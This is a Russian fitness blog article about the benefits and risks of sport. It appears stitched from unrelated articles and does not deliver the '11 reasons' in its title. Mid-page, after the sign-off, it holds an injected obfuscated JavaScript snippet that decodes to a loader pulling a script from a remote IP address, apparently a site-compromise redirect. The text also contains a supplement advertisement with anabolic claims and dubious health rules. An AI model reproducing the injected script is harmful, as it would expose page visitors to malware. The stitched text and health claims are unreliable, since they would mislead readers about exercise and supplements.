11 причин, почему тебе нужно заняться своим телом уже сейчас

Привет, друзья! Почему полезно заниматься спортом? Этот вопрос рано или поздно возникает в головах практически всех людей. Ведь с одной стороны: это красиво, а с другой, это очень тяжело. Так стоит ли игра свеч или не стоит тратить на это время?

Как спорт влияет на психику человека?

Спорт и психическое здоровье: Долой стресс и депрессиюФотография: Depositphotos

Спорт комплексно воздействует на психику. И это усиливает оздоровительный эффект.

  1. Человек в плохом настроении предпочитает одиночество и рискует еще глубже погрузиться в пучину отчаяния. Занятия спортом – это шаг к общению. Недаром психологи в качестве лекарства от депрессии советуют не просто заниматься спортом, а делать это группой или хотя бы вдвоем.
  2. Для большего эффекта предпочтительнее спорт на свежем воздухе. Когда мозг насыщается кислородом, депрессия отступает.
  3. Смена обстановки отвлекает от негативных мыслей и позволяет выплеснуть агрессию без вреда для здоровья.
  4. Когда у человека получается выполнить запланированный норматив, повышаются самооценка и уверенность в себе. Это смещает фокус внимания с депрессивных мыслей на позитив и не дает погрузиться в отчаяние.
  5. Физические нагрузки стимулируют выработку эндорфинов – химических веществ, которые по структуре и воздействию похожи на опиаты. Благодаря этому поднимается настроение.
  6. Регулярные упражнения улучшают физическую форму – это повод для гордости и самоуважения. Плюс человек становится энергичнее, бодрее – проходит хроническая усталость.
  7. После хорошей тренировки улучшается сон – это лучший способ восстановить силы. Ведь при стрессах и тревожных состояниях нередко бывает бессонница и человек полноценно не отдыхает.

Почему тренировки не помогают и сколько нужно двигаться

Увы: не важно, бегаете ли вы или 3 раза в неделю ходите в спортзал – если в остальное время вы не активны, то спорт сам по себе не спасет вас от рисков долгого сидения. Это, кстати, еще одна причина, почему люди не худеют: ваши 3 часа в неделю проведенные в спортзале тратят далеко не так много калорий, как хотелось бы.

Не тренировочная активность намного важнее для похудения (но не для построения красивого тела)!

Рекомендация British Journal of Sports Medicine: проводить стоя или в движении как минимум 2 часа из 8-часового рабочего дня. И это минимальная планка: вообще же специалисты рекомендуют постепенно уменьшать долю сидения и хотя бы половину рабочего времени в определенной активности: прогуливаясь или просто стоя.

Но и здесь нужно знать меру и не впадать из одной крайности в другую. Эксперты также рекомендуют не стоять больше 5 часов в день. Работа стоя в течение долгого времени вызывает боли в суставах, отёки, ухудшение циркуляции крови и усталость.

Как можно избежать травм? Общие рекомендации

Подводя итоги, хочется сказать, что навредить своему здоровью можно даже в самой безобидной ситуации. Поэтому, чтобы получить реальную пользу от занятий спортом и при этом избежать травм, можно запомнить несколько простых правил.

  • Каждую тренировку начинаете с разминки мышц, суставов и связок, а заканчивайте упражнениями на растяжку.
  • Действительно полезные и что очень важно – правильно выполняемые упражнения обязательно принесут необходимый результат, а также массу положительных эмоций. Если же вы все делаете верно, но при этом испытываете дискомфорт, значит, данный вид тренировки вам не подходит и есть смысл поискать ему равнозначную замену. Поэтому заменяем все вредные упражнения на более полезные и менее дискомфортные.
  • Нельзя тренироваться с пустым и полным желудком. Прием пищи необходимо устраивать за 2 часа до начала занятий и через 2 часа после их окончания. Женщинам строго противопоказаны физические нагрузки в период менструации.
  • Идеальное время для начала тренировки – вторая половина дня, когда тело находится на пике активности.
  • Нельзя продолжать занятия, если вы сильно устали, поскольку это приведет к снижению концентрации и увеличит риск получения травм.
  • Во время занятий в спортзале не стесняйтесь обращаться за советом к более опытным атлетам и не пренебрегайте рекомендациями тренера.
  • Чтобы сохранить набранную форму и избежать травм, не забывайте о полноценном отдыхе.
Читайте также:  Правила выбора коньков для взрослых и детей, разновидности моделей

Природные витамины для спортивных побед

Для гарантированного набора здоровой мышечной массы, восстановления после интенсивных тренировок и профилактики травматизма можно порекомендовать пищевую добавку «Леветон Форте». Этот натуральный витаминно-минеральный комплекс, содержащий в своем составе трутневый расплод, пчелиную пыльцу-обножку и корень левзеи сафлоровидной, обладает мощным анаболическим действием, стимулирует выработку тестостерона и мобилизует адаптационные резервы организма.

Занятие спортом. Польза для здоровья и организма человека

Много слов уже сказано о том, что спорт приносит пользу. Так какое же влияние оказывают физические нагрузки на организм? Какова польза спорта для организма?

После занятий:

улучшается мышечный тонус, увеличивается выносливость и сила; повышается иммунитет (в результате чего человек меньше болеет); укрепляется опорно-двигательный аппарат; нормализуется вес; улучшается кровообращение.

Также спорт положительно влияет на работу органов зрения и дыхательной системы. Такие занятия снижают риск возникновения ранних инсультов, инфарктов и многого другого.

Спорт воспитывает дисциплинированность, силу духа и ответственность, а также укрепляет психологическое здоровье.

Согласитесь, что такое благотворное действие стоит того, чтобы оторваться от экрана телевизора и заняться спортом!

Рекомендации диетологов и профессиональных атлетов

Чтобы у наших читателей сложилось полное представление о том, насколько важно правильно принимать пищевые добавки, предлагаю ознакомиться с полезными рекомендациями специалистов:

  • Обязательно нужно обследоваться перед началом и после окончания курса, убедившись, что состояние организма в норме (общие анализы).
  • Помните, что после трехмесячного приема пищевых добавок, необходимо сделать паузу на идентичный промежуток времени. Ребята, не испытывайте свое тело.
  • Спортивное питание может использоваться исключительно в качестве дополнения, а не замены полезной еде.
  • Особенно осторожно следует употреблять жиросжигающие препараты – они повышают температуру организма, вызывая головные боли, тошноту и бессонницу. Лучше придерживаться диетического питания, о пользе которого вы сможете узнать из этой статьи.
  • Выбирайте продукцию только надежных производителей, зарекомендовавших качество своей продукции на международной арене.
  • Друзья, помните, что анаболики – это запрещенные препараты. Не существует оптимальных пропорций и безвредных доз подобных добавок.
  • Не злоупотребляйте приемом пищевых добавок – о вреде подобного явления мы уже узнали, друзья.
  • Проконсультируйтесь с профессионалом о возможности одновременного приема нескольких препаратов (например, протеины и аминокислоты совмещать категорически запрещено).
  • Придерживайтесь определенного графика потребления спортивного питания, соблюдайте инструкцию, рекомендуемую производителем.
Читайте также:  Как быстро научиться кататься на скейте, общие правила его освоения

Следуя незамысловатым советам, вы обязательно сможете правильно комбинировать спорт-пит, добиваясь результатов без вреда для здоровья.

Совет от Start-health: «Если принимать разрешенные препараты вместе с пищей, в которой содержится большое количество клетчатки (фрукты, овощи), то процесс усвоения добавок организмом будет проходить без последствий для ЖКТ».

Друзья, вывод может быть только один: прием специальных пищевых добавок необходим только для профессиональных атлетов, желающих достичь «рекордных» результатов. Для новичков, следящих за своей фигурой и периодически посещающих тренажерный зал, употребление спортивного питания – нецелесообразное решение, хотя, конечно, это личное дело каждого.

В случае если вы все-таки решили употреблять спортивное питание, то обязательно проконсультируйтесь перед началом курса у диетологов и медиков, следуя рекомендациям специалистов.

Вы уже пробовали принимать пищевые добавки? Обязательно поделитесь личным опытом с нашими подписчиками. Любая информация, основанная на реальных событиях – способ расширить наш кругозор, взглянув на проблему под новым ракурсом.

Совсем скоро мы вновь встретимся на веб-страницах нашего «здорового» блога. Всем пока, ребята! ? function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Когда спорт вредно

А теперь рассмотрим подробнее вариант профессионального спорта.Любой человеческий организм имеет свой запас прочности и свой предел допустимых нагрузок, постоянные тренировки с постоянно увеличивающимися нагрузками и нормативами постепенно вырабатывают этот запас прочности, изнашивая человеческий организм. К тому же, когда вы занимаетесь профессионально одним и тем же видом спорта долгое время – группы суставов и мышц, которые вы задействуете постоянно, себя «вырабатывают». Именно поэтому, те, кто занимался лёгкой атлетикой и гимнастикой в будущем сталкиваются с болезнями суставов и болями в спине. А, профессиональные травмы и растяжения? Так, к примеру, борцы сумо (или сумоисты, как их ещё называют), страдают от ожирения. Боксёры, на протяжении своей спортивной карьеры, сбиваются со счёта, сколько раз у них был сломан нос и сколько раз они получали сотрясение мозга (большинство боксёров в старости, к тому же, начинает болеть болезнью Паркинсона и страдать приступами эпилепсии). И, это только несколько примеров. Мы видим спортивные соревнования, результаты, медали, но мы не видим травм, боли и разочарований…

Стероиды и прочая «химия»

Официально спортсменам запрещено употреблять любые стимулирующие вещества (допинг). Однако на деле немало из них используют «химию». Ведь употребление таких препаратов, как анаболитические стероиды, стимуляторы, диуретики, гормоны могут дать спортсмену значительное физическое преимущество над противником в легкой атлетике, особенно при беге. С этим нещадно борются различные антидопинговые комитеты, тщательно проверяющие спортсменов после достижения рекордов. И, несмотря ни на что, с завидной регулярностью возникают так называемые допинговые скандалы с участием тех или иных спортсменов. В середине первого десятилетия нашего века подобные скандалы в конечном итоге привели к падению выдающихся спринтеров Мэрион Джонс и Тима Монтгомери. Кстати, современные ученые ставят под сомнение некоторые особенно выдающиеся легкоатлетические рекорды прошлых лет. Нынешним спортсменам не удается даже приблизиться к беговым рекордам 1980-х годов. Немало медиков подозревает, что они были достигнуты под влияием допинговых средств. А не обнаружились в свое время потому, что медицинские методы определения допинга в крови тогда были еще несовершенными. Существуют очень противоречивые данные относительно масштабов использования допингов среди профессиональных спортсменов. Однако то, что это явление существует, отрицать невозможно, как и несомненный вред для здоровья от использования подобной «химии». Кстати, одно из последствий чрезмерного увлечения стероидами – импотенция. Таким образом, профессиональный спорт, в отличие от любительских занятий физкультурой, едва ли можно назвать полезным для здоровья родом деятельности.

Регби

Может возникнуть мнение, что этот вид спорта умышленно придуман для того, чтобы как можно скорее попасть на больничную койку. Вы можете без всяких ограничений использовать толчки и различные силовые приемы. И это при полном отсутствии защитной экипировки.

Согласно статистике, всего за один матч каждый четвертый игрок получает весьма тяжелую травму (разрыв мышцы, переломы костей), а также по три мелких вывиха, растяжения или ушиба.

Теперь вы знаете про самые травмоопасные виды спорта во всем мире. Так постарайтесь же быть осторожны, рассудительны, а также не ставьте итог в спортивном состязании превыше вашего здоровья и жизни.

Поделиться:

Почему полезно заниматься спортом. Выводы

В общем-то, друзья это первые 11 причин, почему полезно заниматься спортом, которые мне пришли в голову.

Если поднапрячься, то смогу накидать ещё столько же.

Суть не в этом.

Главное, чтобы вы поняли, что не будет лучше времени, чем сейчас.

Если вам 15 лет, отлично! Самое время начать заниматься спортом, во время пубертатного периода можно отлично спрогрессировать в плане формирования красивого тела.

Вам 25? Офигенно! Значит самое время начать нагружать себя в зале, т.к. сейчас ваш уровень тестостерона на пике! Вы сможете выжать максимум из своего тела.

Вам 30-35? Самое время тренироваться. Уровень тестостерона начал падать, пора поддерживать своё тело дополнительными порциями своего эндогенного тестостерона, уровень которого подскочит за счёт физических упражнений.

Вам 40-45? Прекрасно! Чтобы поддержать сердечно-сосудистую систему, снизить риск развития атеросклероза нужно заниматься спортом.

Вам 50-60 лет? Круто! Помогите своему сердцу качественной кровью, помогите мозгу кислородом, а сосудам отсутствием атеросклеротических бляшек. Нужно тренироваться!

В любом возрасте можно заниматься физической активностью. Да, есть индивидуальные моменты, да есть хронические болезни, травмы и т.д.

Всё это решаемо и можно приспособиться к любой проблеме. Я видел, как тренируются безногие, как тренируется человек без руки, как человек с ДЦП жмёт штангу. Какие отговорки, друзья?!

Пора взять судьбу в свои руки и начать работать над собой.

Всего вам доброго.

Поделись статьей с друзьями. Возможно, это им понравится